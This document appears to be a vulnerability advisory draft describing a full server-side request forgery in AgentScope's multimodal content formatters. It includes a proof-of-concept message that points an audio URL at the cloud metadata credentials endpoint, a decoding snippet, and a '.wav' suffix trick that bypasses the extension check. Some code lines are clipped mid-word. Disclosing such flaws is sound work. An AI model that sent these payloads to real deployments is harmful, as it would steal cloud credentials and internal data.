YLChen-007 / **ISSUE-Github-REPORT-SSRF-Multimodal-Content-Blocks.md**

Secret

Created last month

Code Revisions 1

Full (Non-Blind) SSRF via Multimodal Content Blocks in AgentScope Formatters

ISSUE-Github-REPORT-SSRF-Multimodal-Content-Blocks.md

Advisory Details

Title: Full SSRF via Multimodal Content Block Formatters Enables Direct Data Exfiltration

Description:

Summary

AgentScope's multimodal content processing pipeline fetches URLs from user-supplied content blocks using `requests.get()` without any URL validation. The fetched response is base64-encoded and returned in the formatter output, enabling **direct data exfiltration** of internal service data and cloud metadata credentials.

This is a **full (non-blind) SSRF** — the attacker receives the complete response body from internal/cloud requests, base64-encoded in the API response.

Details

When a `Msg` object contains audio, image, or video content blocks with a `url` source, AgentScope's formatters fetch the URL server-side to convert media to base64 for LLM API consumption. The core vulnerable pattern is in `_get_bytes_from_web_url()` (`src/agentscope/_utils/_common.py`, line 130–160), a shared utility called by multiple formatters:

```
def _get_bytes_from_web_url(url: str, max_retries: int = 3) -> str:
    for _ in range(max_retries):
        try:
```

```
            response = requests.get(url)           # ← SSRF: no URL validatio
            response.raise_for_status()
            return response.content.decode("utf-8")  # ← response content RET
        except UnicodeDecodeError:
            return base64.b64encode(response.content).decode("ascii")  # ← bi
```

The fetched content flows back through the formatter output into the HTTP response — the attacker can decode it directly. The same pattern also exists in `_to_openai_audio_data()` (`src/agentscope/formatter/_openai_formatter.py`, line 124–127) which calls `requests.get()` independently. All occurrences are listed in the Occurrences table below.

No URL validation exists anywhere in the pipeline: no private IP blocking, no scheme restriction, no hostname allowlisting.

PoC

Attack scenario:

1. A developer deploys an AgentScope application that accepts multimodal messages and formats them for an LLM API (any formatter — OpenAI, Ollama, or Gemini).
2. An attacker sends an HTTP POST request with a malicious audio content block targeting the AWS metadata endpoint:

```
{
  "name": "user",
  "role": "user",
  "content": [
    {"type": "text", "text": "Transcribe this audio"},
    {"type": "audio", "source": {
      "type": "url",
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credential
    }}
  ]
}
```

3. The `Msg` object stores the content blocks as-is. When `OpenAIChatFormatter._format()` processes the audio block, it calls `_to_openai_audio_data(block["source"])`:

```
# _openai_formatter.py line 124-127 (inside _to_openai_audio_data)
response = requests.get(source["url"])             # ← SSRF: fetches cloud m
response.raise_for_status()
data = base64.b64encode(response.content).decode("utf-8")  # ← response captu
```

```
return {"data": data, "format": extension}          # ← returned in formatte
```

4. The formatted output (containing the base64-encoded cloud metadata response) is serialized to JSON and returned to the attacker in the HTTP response. The attacker decodes:

```
import base64
stolen = base64.b64decode(response_json["formatted_messages"][0]["content"][1
# stolen = '{"AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalr
```

The `.wav` extension check in `_to_openai_audio_data()` is trivially bypassed by appending `.wav` to the URL path (e.g. `http://169.254.169.254/...credentials/role.wav`).

Screenshot of Evidence

[Placehold for Screenshot of Evidence]

Impact

This is a **full (non-blind) SSRF** — the fetched response content is base64-encoded and returned to the attacker. The impact is:

1. **Cloud credential theft** — Fetch `http://169.254.169.254/latest/meta-data/iam/security-credentials/...` and directly exfiltrate AWS/GCP/Azure IAM credentials from the base64-encoded response.
2. **Internal service data exfiltration** — Fetch internal APIs, databases, and admin panels (e.g. `http://10.0.0.1:8080/admin/config.wav`) and decode the full response body.
3. **Internal network reconnaissance** — Probe internal hosts and ports; reachability is confirmed by successful base64 responses vs connection errors.
4. **Wide attack surface** — The vulnerable `_get_bytes_from_web_url()` utility is called from 8 locations across formatters (OpenAI, Ollama, Gemini) and realtime models, plus `_to_openai_audio_data()` has its own independent `requests.get()`.

Any AgentScope deployment that accepts user-supplied multimodal content blocks and formats them for LLM APIs is affected.

Affected products

- **Ecosystem**: pip
- **Package name**: agentscope
- **Affected versions**: <= 1.0.14 (all versions with multimodal content block support)
- **Patched versions**:

Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Weaknesses

- **CWE**: CWE-918: Server-Side Request Forgery (SSRF)

Occurrences

Permalink
https://github.com/modelscope/agentscope/blob/5e2bf63/src/agentscope/_utils/_common
https://github.com/modelscope/agentscope/blob/5e2bf63/src/agentscope/formatter/_open L127
https://github.com/modelscope/agentscope/blob/5e2bf63/src/agentscope/formatter/_ollam L58
https://github.com/modelscope/agentscope/blob/5e2bf63/src/agentscope/formatter/_gemi L84
https://github.com/modelscope/agentscope/blob/5e2bf63/src/agentscope/token/_openai_t L73

Permalink